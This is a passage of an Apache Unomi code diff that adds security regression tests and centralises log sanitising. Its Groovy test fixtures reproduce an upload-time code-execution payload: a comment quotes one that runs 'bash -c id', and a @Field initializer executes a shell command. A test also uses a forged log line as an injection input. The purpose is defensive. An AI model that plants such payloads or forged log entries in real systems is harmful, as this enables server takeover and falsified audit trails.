+ */
+ @Test
+ public void testSaveRejectsActionNamesWithControlCharacters() throws
Exception {
+ String groovyScript = loadGroovyScript(
+ "/META-INF/cxs/actions/testSaveAction.groovy",
+ "Could not find test Groovy action file");
+ String forgedName = "innocent\n2026-08-08 12:00:00 WARN AUDIT
groovy-action save: action=approved";
+
+ contextManager.executeAsTenant(TENANT_1, () -> {
+ try {
+ groovyActionsService.save(forgedName, groovyScript);
+ fail("an action name containing a newline must be rejected");
+ } catch (IllegalArgumentException e) {
+ assertTrue(e.getMessage(), e.getMessage().contains("control
characters"));
+ }
+ try {
+ groovyActionsService.remove(forgedName);
+ fail("remove must reject the same names as save");
+ } catch (IllegalArgumentException e) {
+ assertTrue(e.getMessage(), e.getMessage().contains("control
characters"));
+ }
+ // U+2028 is a line terminator that Character.isISOControl does
not report, so a check
+ // written against that predicate alone would let this through.
+ try {
+ groovyActionsService.save("innocent\u2028forged-record",
groovyScript);
+ fail("U+2028 LINE SEPARATOR must be rejected too");
+ } catch (IllegalArgumentException e) {
+ assertTrue(e.getMessage(), e.getMessage().contains("control
characters"));
+ }
+ });
+ }
+
@Test
public void testRemoveGroovyAction() throws Exception {
// First save an action
diff --git
a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
new file mode 100644
index 000000000..92f96783e
--- /dev/null
+++
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
@@ -0,0 +1,27 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Stand-in for the reported upload-time RCE payload: a @Field initializer
runs when the script class
+// is *instantiated*. Saving this action must compile it without instantiating
it, so this must NOT
+// run. It writes a system property rather than executing a command so the
test stays harmless.
+@Field def sideEffect = {
System.setProperty("unomi.test.groovyFieldInitializerRan", "true") }()
+
+@Action(id = "fieldInitializerAction", actionExecutor =
"groovy:fieldInitializerAction")
+def execute() {
+ return EventService.NO_CHANGE
+}
diff --git
a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
new file mode 100644
index 000000000..4bc5a7fdf
--- /dev/null
+++
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
@@ -0,0 +1,37 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Faithful stand-in for the reported upload-time RCE payload, which was:
+// @Field def proof = { new File("/tmp/rce_proof_id").text =
["bash","-c","id"].execute().text }()
+// A Groovy @Field initializer runs when the script class is INSTANTIATED, so
uploading this used to
+// execute a command at save time, before any rule dispatched the action.
Saving it must compile the
+// script without instantiating it, so this must never run.
+//
+// The command is a harmless `echo` and the target path is injected by the
test rather than
+// hard-coded, so the payload cannot write outside the test's own temp
directory.
+@Field def proof = {
+ String target = System.getProperty("unomi.test.rceProofPath")
+ if (target != null) {
+ new File(target).text = ["sh", "-c", "echo
pwned-at-upload-time"].execute().text
+ }
+}()
+
+@Action(id = "rceProofAction", actionExecutor = "groovy:rceProofAction")
+def execute() {
+ return EventService.NO_CHANGE
+}
diff --git
a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
index 8dd3246fe..c5ea1c5f6 100644
---
a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
+++
b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
@@ -25,6 +25,7 @@ import org.apache.unomi.api.PropertyType;
import org.apache.unomi.api.actions.Action;
import org.apache.unomi.api.actions.ActionExecutor;
import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.EventService;
import org.apache.unomi.api.services.ProfileService;
@@ -83,7 +84,8 @@ public class UpdatePropertiesAction implements ActionExecutor
{
if (StringUtils.isNotBlank(targetId) && event.getProfile() != null
&& !targetId.equals(event.getProfile().getItemId())) {
if (!trustedCaller) {
- LOGGER.warn("Refusing cross-profile property update for
untrusted caller (targetId={})", targetId);
+ LOGGER.warn("Refusing cross-profile property update for
untrusted caller (targetId={})",
+ LogSanitizer.forLogging(targetId));
if (tracer != null) {
tracer.endOperation(false, "Untrusted caller cannot
update another profile");
}
@@ -94,7 +96,7 @@ public class UpdatePropertiesAction implements ActionExecutor
{
if (tracer != null) {
tracer.endOperation(false, "No profile found with Id:
" + targetId);
}
- LOGGER.warn("No profile found with Id : {}. Update
skipped.", targetId);
+ LOGGER.warn("No profile found with Id : {}. Update
skipped.", LogSanitizer.forLogging(targetId));
return EventService.NO_CHANGE;
}
}
@@ -121,7 +123,7 @@ public class UpdatePropertiesAction implements
ActionExecutor {
if (propsToDelete != null) {
for (String prop : propsToDelete) {
if (!trustedCaller &&
prop.startsWith(SYSTEM_PROPERTIES_PREFIX)) {
- LOGGER.warn("Refusing systemProperties delete for
untrusted caller: {}", prop);
+ LOGGER.warn("Refusing systemProperties delete for
untrusted caller: {}", LogSanitizer.forLogging(prop));
continue;
}
isProfileOrPersonaUpdated |=
PropertyHelper.setProperty(target, prop, null, "remove");
@@ -163,7 +165,7 @@ public class UpdatePropertiesAction implements
ActionExecutor {
boolean isProfileOrPersonaUpdated = false;
for (String prop : propsMap.keySet()) {
if (!trustedCaller && prop.startsWith(SYSTEM_PROPERTIES_PREFIX)) {
- LOGGER.warn("Refusing systemProperties update for untrusted
caller: {}", prop);
+ LOGGER.warn("Refusing systemProperties update for untrusted
caller: {}", LogSanitizer.forLogging(prop));
continue;
}
PropertyType propType = null;
diff --git
a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
index e9e2f4f39..5747a9722 100644
--- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
+++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
@@ -48,24 +48,19 @@ final class LogSanitizer {
* Replaces every character that is not printable ASCII (or is a
log-format marker such as
* {@code \ { } % $}) with an underscore. This removes newlines, tabs and
other control
* characters that could be used for log injection.
+ * <p>
+ * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is
the one implementation
+ * of this filter, shared with the bundles outside {@code rest} that also
log request-derived
+ * values. This class keeps only the REST-specific length limits and field
shapes below.
+ * <p>
+ * Note the empty-string result for {@code null} is preserved here: the
exception mappers embed
+ * this in user-facing messages where the literal {@code "null"} would
read as a value.
*/
static String forLogging(String input) {
if (input == null) {
return "";
}
- if (input.length() > MAX_MESSAGE_LENGTH) {
- input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]";
- }
- StringBuilder sanitized = new StringBuilder(input.length());
- for (int i = 0; i < input.length(); i++) {
- char c = input.charAt(i);
- if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' &&
c != '%' && c != '$') {
- sanitized.append(c);
- } else {
- sanitized.append('_');
- }
- }
- return sanitized.toString();
+ return org.apache.unomi.api.utils.LogSanitizer.forLogging(input,
MAX_MESSAGE_LENGTH);
}
static String url(String url) {
diff --git
a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
index 406539378..f4e91defb 100644
---
a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
+++
b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
@@ -22,6 +22,7 @@ import
org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl;
import org.apache.cxf.jaxrs.utils.JAXRSUtils;
import org.apache.unomi.api.*;
import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
import org.apache.unomi.api.security.TenantPrincipal;
import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.ConfigSharingService;
@@ -149,7 +150,7 @@ public class RestServiceUtilsImpl implements
RestServiceUtils {
// (including when no cookie is present — otherwise knowing a UUID
is enough to load it).
if (requestedBodyProfileId != null &&
!requestedBodyProfileId.equals(cookieProfileIdAtRequest)) {
LOGGER.debug("Ignoring body profileId {} from public caller
(cookie profileId is {})",
- requestedBodyProfileId, cookieProfileIdAtRequest);
+ LogSanitizer.forLogging(requestedBodyProfileId),
LogSanitizer.forLogging(cookieProfileIdAtRequest));
}
profileId = cookieProfileIdAtRequest;
} else if (profileId == null) {
@@ -173,7 +174,8 @@ public class RestServiceUtilsImpl implements
RestServiceUtils {
&&
!existingSession.getProfileId().equals(cookieProfileIdAtRequest)) {
LOGGER.warn("Refusing to invalidate session {} owned by
profile {} for a public caller "
+ "whose cookie bearer is {}",
- effectiveSessionId, existingSession.getProfileId(),
cookieProfileIdAtRequest);
+ LogSanitizer.forLogging(effectiveSessionId),
LogSanitizer.forLogging(existingSession.getProfileId()),
+ LogSanitizer.forLogging(cookieProfileIdAtRequest));
eventsRequestContext.setSessionRefused(true);
effectiveSessionId = null;
}
@@ -223,7 +225,8 @@ public class RestServiceUtilsImpl implements
RestServiceUtils {
if (sessionProfileWithId != null) {
eventsRequestContext.setProfile(sessionProfileWithId);
} else {
- LOGGER.warn("Couldn't find profile ID {}
referenced from session with ID {}, so we re-create it",
sessionProfile.getItemId(), effectiveSessionId);
+ LOGGER.warn("Couldn't find profile ID {}
referenced from session with ID {}, so we re-create it",
+
LogSanitizer.forLogging(sessionProfile.getItemId()),
LogSanitizer.forLogging(effectiveSessionId));
eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(),
timestamp));
}
} else if (trustedExplicitProfileOverride) {
@@ -232,7 +235,8 @@ public class RestServiceUtilsImpl implements
RestServiceUtils {
} else {
LOGGER.warn("Refusing to switch profile from {} to
session profile {} without matching cookie bearer; "
+ "detaching session {} for this
request",
-
eventsRequestContext.getProfile().getItemId(), sessionProfile.getItemId(),
effectiveSessionId);
+
LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()),
+
LogSanitizer.forLogging(sessionProfile.getItemId()),
LogSanitizer.forLogging(effectiveSessionId));
// Detach so we neither adopt the foreign profile
nor rebind the foreign
// session. No session exists for the rest of the
request; the response
// must not echo the refused id back (see
EventsRequestContext#isSessionRefused).